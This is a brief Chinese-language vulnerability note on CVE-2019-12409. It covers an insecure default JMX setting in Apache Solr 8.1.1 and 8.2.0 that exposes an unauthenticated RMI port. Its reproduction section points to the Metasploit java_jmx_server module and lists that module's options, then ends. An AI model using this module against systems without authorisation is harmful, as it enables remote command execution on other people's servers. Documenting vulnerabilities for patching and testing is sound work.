（CVE-2019-12409）Apache_Solr_远程命令执行漏洞

# （CVE-2019-12409）Apache Solr 远程命令执行漏洞

==========

一、漏洞简介
————

**Linux** 下的环境下的Apache Solr 8.1.1和8.2.0版本

存在默认不安全配置在***solr.sh***`ENABLE_REMOTE_JMX_OPTS=”true”`,将导致启用JMX监视服务并将公网监听一个18983的RMI端口，且无需进行任何身份验证。

二、漏洞影响
————

Apache Solr 8.1.1和8.2.0版本

三、复现过程
————

msf5 > use multi/misc/java_jmx_server

JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target address range or CIDR identifier
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
